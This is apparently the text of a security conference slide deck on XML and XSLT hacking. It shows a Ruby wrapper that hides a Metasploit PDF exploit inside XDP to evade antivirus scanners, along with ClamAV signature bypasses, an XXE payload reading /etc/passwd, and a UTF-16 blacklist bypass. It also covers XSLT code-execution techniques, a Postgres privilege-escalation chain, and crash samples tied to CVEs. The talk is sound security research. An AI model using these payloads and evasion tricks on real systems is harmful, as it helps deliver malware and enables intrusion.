That's why I love XML hacking!

WHOAMI

XML

OUTRO

BLACKLISTS

XSLT FEATURES

XSLT FUZZING
That's why I love XML hacking!
Infosec breaker since 1998
XML as a hobby since 2010
And more ...
Oracle
Postgres
Restlet
xmlsec
XML vulns
Liferay
SharePoint
DotNetNuke
MoinMoin
WebKit
Firefox
Reader X
MS IE
PHP5
Batik
That’s why I love XML hacking!

BLACKLISTS

OUTRO

XSLT FEATURES

XSLT FUZZING
Use cases
eXtensible Markup Language
<foo>
  <bar/>
  <tag version="3.0">
    something
  </tag>
</foo>
eXtensible Markup Language
Define the meaning of a tag
Usually represented by a URL

Namespaces
Avoid ambiguities

<font>?</font>

http://www.w3.org/2000/svg
http://www.w3.org/1999/xhtml
http://xmlns.oracle.com/oxp/config/
Trigger some specific features

http://php.net/xsl
http://icl.com/saxon
http://xml.apache.org/xalan/java
eXtensible Markup Language
Data
XML
Grammar
DTD
Code
XSLT
Processing
instruction
<xml ... >
PoC for CVE-2011-1774 (Webkit)
That’s why I love XML hacking!

XML

XSLT

XSLT FEATURES

XSLT FUZZING

WHOAMI

BLACKLISTS

PDF to XOP

XOP vs Cuomo

Other tricks

OUTRO
PDF to XDP

XDP vs ClamAV

Other tricks
PDF to XDP
Online AV

vs.

CVE-2010-2883

(Adobe CoolType SING)
### File Information

<table>
<thead>
<tr>
<th>Report date:</th>
<th>2011-12-15 11:07:54 (GMT 1)</th>
</tr>
</thead>
<tbody>
<tr>
<td>File name:</td>
<td>msf-cooltype-pdf</td>
</tr>
<tr>
<td>File size:</td>
<td>46725 bytes</td>
</tr>
<tr>
<td>MD5 hash:</td>
<td>7057968b476c031eecc3c4a76d4bbc17</td>
</tr>
<tr>
<td>SHA1 hash:</td>
<td>54f376847535ffef4ab2a96a0fd91d5788c6c546</td>
</tr>
<tr>
<td>Detection rate:</td>
<td>8 on 9 (89%)</td>
</tr>
<tr>
<td>Status:</td>
<td>INFECTED</td>
</tr>
</tbody>
</table>
Not so good...
Let's try to get 0%
**XML Data Package (XDP)**

- **Filename extension**: .xdp
- **Internet media type**: application/vnd.adobe.xdp+xml[1]
- **Developed by**: Adobe Systems
- **Latest release**: 2.0
- **Container for**: PDF, XFA
- **Contained by**: PDF
- **Extended from**: XML

XML Data Package (XDP) is an XML file format created by Adobe Systems in 2003. It is intended to be an XML-based companion to PDF. It allows PDF content and/or Adobe XML Forms Architecture (XFA) resources to be packaged within an XML container.
Latest release

Container for PDF, XFA

Contained by PDF

Extended from XML
XML Data Package (XDP) is an XML file format created by Adobe Systems in 2003. It is intended to be an XML-based companion to PDF. It allows PDF content and/or Adobe XML Forms Architecture (XFA) resources to be packaged within an XML container.

**XML Data Package (XDP)**

- **Filename extension**: .xdp
- **Internet media type**: application/vnd.adobe.xdp+xml[1]
- **Developed by**: Adobe Systems
- **Latest release**: 2.0
- **Container for**: PDF, XFA
- **Contained by**: PDF
- **Extended from**: XML
IMPORTANT

PDF extracted to %TEMP%

Similar looking icon

"xdp" extension associated by default to Adobe Reader
def make_xdp(pdf)
    xdp = """EOF
</xml version="1.0" ?>"""
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"
<pdf xmlns="http://ns.adobe.com/xdp/pdf/">
<document><chunk>
HERE_HERE_HERE
</chunk></document>
</pdf>
</xdp:xdp>
EOF

    xdp.gsub!(/HERE_HERE_HERE/, Rex::Text.encode_base64(pdf))
end
<table>
<thead>
<tr>
<th><strong>File name:</strong></th>
<th>msf-cooltype.xdp</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Submission date:</strong></td>
<td>2011-12-14 22:45:30 (UTC)</td>
</tr>
<tr>
<td><strong>Current status:</strong></td>
<td>finished</td>
</tr>
<tr>
<td><strong>Result:</strong></td>
<td>0/ 43 (0.0%)</td>
</tr>
</tbody>
</table>

**File information**

<table>
<thead>
<tr>
<th><strong>Report date:</strong></th>
<th>2011-12-14 23:54:14 (GMT 1)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>File name:</strong></td>
<td>msf-cooltype.xdp</td>
</tr>
<tr>
<td><strong>File size:</strong></td>
<td>63668 bytes</td>
</tr>
<tr>
<td><strong>MD5 hash:</strong></td>
<td>8acac212de79458e517c97c14103748d</td>
</tr>
<tr>
<td><strong>SHA1 hash:</strong></td>
<td>b65e2271584bc756078434c0bc2bcf54c668b4db</td>
</tr>
<tr>
<td><strong>Detection rate:</strong></td>
<td>0 on 9 (0%)</td>
</tr>
<tr>
<td><strong>Status:</strong></td>
<td>CLEAN</td>
</tr>
</tbody>
</table>
Easy 0% detection rate!
XDP vs ClamAV
Fighting AV is a game of cat & mouse
As there's been a level of concern about this, SophosLabs experts have updated our product to also scan directly inside the XDP file format - meaning that we can also intercept any file's attempt to slip a malicious PDF past gateway scanners.

http://nakedsecurity.sophos.com/tag/xdp/
alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any (msg:"FILE-PDF Adobe PDF XDF encoded download attempt"; [...] content:"<xdp:xdp"; nocase; content:"<pdf"; distance:0; nocase; content:"<document"; distance:0; nocase; content:"<chunk"; distance:0; nocase; content:"JVBERi"; within:500; nocase; [...] )

http://blog.9bplus.com/av-bypass-for-malicious-pdfs-using-xdp
ClamAV

(0&1&2&3);
3c70646620786d6c6e733d;
3c6368756e6b3e;
4a564245526930;
3c2f7064663e

http://hiddenillusion.blogspot.fr/2012/06/xdp-files-and-clamav.html
ClamAV

<chunk>

AND

JVBERi0
ClamAV

That's too easy!

Let's try with a OR
ClamAV

<pdf xmlns=

OR

JVBERi0

<chunk>

</pdf>
http://www.w3.org/TR/xml11/

STag ::= '<' Name (S Attribute)* S? '>
ETag ::= '</' Name S? '>'
STag & ETag

<pdf xmlns + <chunk> + </pdf>
Base64 of "%PDF-" → JVBERi0J<SPACE>V<TAB>B<LF>ER<TAB><LF>i0

Laxist parser
Non default namespace

<pdf xmlns="http://ns.adobe.com/xdp/pdf/">
  ...
</pdf>

  ...
</foo:pdf>
DEMO!
PDF to XDP

XDP vs ClamAV

Other tricks
Other tricks
EOL in XML 1.1

http://www.w3.org/TR/xml11/

\texttt{\#x0D \#xA}

\texttt{\#x0D \#x85}

\texttt{\#x0D}

\texttt{\#x85}

\texttt{\#x85}

\texttt{\#x2028}
XXE

Upload of a SVG file + conversion to PNG

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
if (strpos($svg, '<!ENTITY') !== false)
{
    die "FAIL!";
}
Entity Declaration

[70]  EntityDecl ::= GEDecl | PEDecl
[71]  GEDecl ::= '<!ENTITY' S Name S EntityDef S? '>

Litteral string

No case alteration
No whitespaces
No namespaces
strpos() looks for **ASCII** strings

Encode to **UTF-16**

(not UTF-8)
DEMO!
That’s why I love XML hacking!

Blacklists

XSLT

XML
XML transformation language
Turing-complete

Numerous implementations:

Everywhere:

- browser
- database
- word processor
- CMS
- XML-DSig / SAML

- GNOME libxslt
- Microsoft MSXML
- Apache Xalan-C / Xalan-J
- Saxon Java / .NET
- SAP
- Intel
- Sablotron
- MarkLogic
- and many more ...
That's why I love XML hacking!
Info leak
system-property()
in XSLT 1.0

-xsl:version

-xsl:vendor

-xsl:vendor-url

SAXON 6.4.3 from Michael Kay
SAXON 9.1.0.2 from Saxonica
Apache Software Foundation
Oracle Corporation.
Fourthought Inc.
Transformiix
James Clark
InQMy Labs.
Microsoft
libxslt
Opera
Intel
...

Sablotron
Latest release: 2006
DEMO!
Extensions
to system-property()

4Suite
version
in "http://xmlns.4suite.org/ext"

MSXML
version
in "urn:schemas-microsoft-com:xslt"

Adobe
ccontributor / library / version
in "http://ns.adobe.com/XSLTExtensions/1.0"

Java
java.vendor / os.name / file.separator / ...
Version : 2.0
Vendor : SAXON 9.0.0.4 from Saxonica
Vendor URL : http://www.saxonica.com/

Line Separator : &xD;

File Separator : \n
Java Home : c:\Program Files\Java\jre6
Java Class Path : C:\Program Files\Java\jdk1.6.0_13\lib\tools.jar;C:\Program Files (x86)\Apache Software Foundation\apache-tomcat-6.0.18\bin
Java Vendor : Sun Microsystems Inc.
Java Vendor URL : http://java.sun.com/
Java Runtime Name : Java(TM) SE Runtime Environment
Java Runtime Version : 1.6.0_13-b03
Java VM Version : 11.3-b02

OS Arch : amd64
OS Name : Windows Server 2008
OS Version : 6.0

User Directory : C:\Program Files (x86)\Apache Software Foundation\apache-tomcat-6.0.18\bin
User Home : C:\Users\Administrator
User Name : Administrator
Version : 1
Vendor : Apache Software Foundation
Vendor URL : http://xml.apache.org/xalan-j

Line Separator :

File Separator : /

Java Home : /opt/IBMJava2-141/bin/.../jre
Java Class Path : /opt/IBMJava2-141/lib/tools.jar:/var/tomcat4/bin/bootstrap.jar
Java Vendor : IBM Corporation
Java Vendor URL : http://www.ibm.com/
Java Runtime Name : Java(TM) 2 Runtime Environment, Standard Edition
Java Runtime Version : 1.4.1
Java VM Version : 1.4.1

OS Arch : x86
OS Name : Linux
OS Version : 2.4.21-9.0.1.EL

User Directory : /var/tomcat4
User Home : /var/tomcat4
User Name : tomcat4
Info leak

Write access

Code execution
Write access
Standardized in:

- XSLT 1.1
- XSLT 2.0
- XSLT 3.0

XSLT 1.0:

- libxslt
- Sablotron
- Xalan-J
- XT
- and more
Postgres

- Connect with low privileges
- Read "global/pg_auth" via XXE
- Overwrite it via XSLT
- Re-connect with admin privileges
- Restore "global/pg_auth" via XSLT
- Launch Metasploit "postgres_payload.rb"

=> DB admin + OS user

CVE-2012-3489
by d0znpp

CVE-2012-3488
by myself
DEMO!
Code execution
Code exec?

Bindings between XSLT and a HL language are common
Ektron: CVE-2012-5357

urn:schemas-microsoft-com:xmlhttp

PHP5

http://php.net/xsl

Xalan-J

http://xml.apache.org/xalan/java

MSXML

http://php.net/xsl

Liferay: CVE-2011-1501
DEMO!
Metasploit #6784
Info leak

Write access

Code execution
Setup

Adobe Reader vs Address Sanitizer

Findings
Setup
Mutation-Based Fuzzing
How to trigger execution of XSLT code on Oracle?

```sql
select xmltype('<foo/>')
 .transform(
   xmltype(q'{XSLT}')
 )
from dual;
```
Protips

**Good samples**
- official test suites
- bug-trackers
- triggers for specific features
- previous crashes

**Mutation**
- radamsa is awesome!
- @mozdeco, please release LangFuzz!
Hardware

Dev
On a VM at home

Prod
1 x EC2 "c1.medium"
Setup

Adobe Reader vs Address Sanitizer

Findings
Adobe Reader vs Address Sanitizer
In some products, Adobe uses a modified version of the open source code known as the Sablotron XSLT processor, created by the Ginger Alliance Ltd. The Sablotron source code is subject to the Mozilla Public License Version 1.1 (the License). You may obtain a copy of the License on the Mozilla website or in the download files. In compliance with the requirements of the License, Adobe Systems Incorporated makes the modified version of the source code available for download. The original version of the Sablotron source code, version 0.95 of June 24, 2002, is included for comparison.

<table>
<thead>
<tr>
<th>Download files</th>
<th>Size</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>original</td>
<td>1.0 MB</td>
<td>06/2002</td>
</tr>
<tr>
<td>modified</td>
<td>301 KB</td>
<td>04/2003</td>
</tr>
<tr>
<td>modified</td>
<td>297 KB</td>
<td>11/2003</td>
</tr>
<tr>
<td>modified</td>
<td>358 KB</td>
<td>11/2004</td>
</tr>
</tbody>
</table>
ChangeLog
(November 16, 2004)

- eliminated all write accesses to constant strings
- eliminated the creation of unterminated strings
- eliminated all potential buffer overruns
- eliminated all known potential floating-point and integer overflows
- replaced some hard-coded constants [...]  
- eliminated all newly discovered memory leaks
Are they kidding?
ERROR: AddressSanitizer heap-buffer-overflow on address 0x7f48a1289788 at pc 0x7f48a29da80c bp 0x7ffffdccb2090 sp 0x7ffffdccb2088
WRITE of size 4 at 0x7f48a1289788 thread T0

    #0  000000000000f880c <utf8ToUtf16(wchar_t*, char const*)+0x11c>:  
        thislen = 2;  
};  
    dest += thislen;  
    len += thislen;  
}  
    *dest = 0;  
f880c:44 89 ea mov %r13d,%edx

0x7f48a1289788 is located 0 bytes to the right of 8-byte region [0x7f48a1289780,0x7f48a1289788) allocated by [...]
INSTRUCTION_ADDRESS:  
INSTRUCTION_STACK_FRAME: -1
DESCRIPTION: Data Execution Prevention Violation
SHORT_DESCRIPTION: DEPViolation
CLASSIFICATION: EXPLOITABLE
BUG_TITLE: Exploitable – Data Execution Prevention Violation
EXPLANATION: User mode DEP access violations are exploitable.
Adobe Reader vs Address Sanitizer
Findings
Classic implementation errors:
- stack-based overflow w/ long strings
- encoding hell (UTF-8, ...)

Misc:
- parsing errors
- uninitialized variables

Type confusion errors:
- very common (libxslt, Sablotron, ...)
- leads to **interesting** behavior
Crash

<xsl:template match="key('mykey', " " )" />
Funny error

<xsl:template match="/">
  <xsl:for-each select="document()">
    <xsl:attribute/>
  </xsl:for-each>
</xsl:template>

XML Location: NodeName:
  <#document> In line 1 of
  ncounteredinvalid memory
  callbackIn line ~1u of ~2s:In
  line ~1u of ~2s [parameter
  entity ~3S]:In line ~1u of ~2s
  [general entity ~3S]:Unicode
data alignment errorwrong node
typecontext is not clean: [...]

Sun
ORACLE
Information leak
CVE-2012-3972

<xsl:value-of select="format-number(SMALL_NUMBER, '#')"/>

Arbitrary read
CVE-2012-2825

<!DOCTYPE whatever [  
<!ATTLIST magic blabla CDATA "anything">  
<!ENTITY foobar "zzzzzzzzzAAAAzzzzzzzzz">  
]>
<magic xsl:version="1.0" xmlns:xsl="[...]"/>
Heap corruption
CVE-2012-2871

<xsl:template match="*">
  <xsl:for-each select="namespace::*">
    <xsl:apply-templates/>
  </xsl:for-each>
</xsl:template>
Heap overflow
CVE-2012-1525

<xsl:attribute name="&#xE004D;">"/>
And many more!
Setup

Adobe Reader vs Address Sanitizer

Findings
That's why I love XML hacking!

XML

XSLT

XSLT FEATURES

BLACKLISTS

OUTRO

XSLT FUZZING
Blacklists are evil!
Do NOT parse XML with text-oriented tools

Big attack surface!
Parser (DoS), Grammar (XXE), Code (XSLT), ...

Nice research area!
Thanks to @hillbrad, @0x6D6172696F, @d0znpp, @mihi42, @websterprodigy, @webpentest, @sh2kerr, ...
That's why I love XML hacking!

Nicolas Grégoire
@Agarri_FR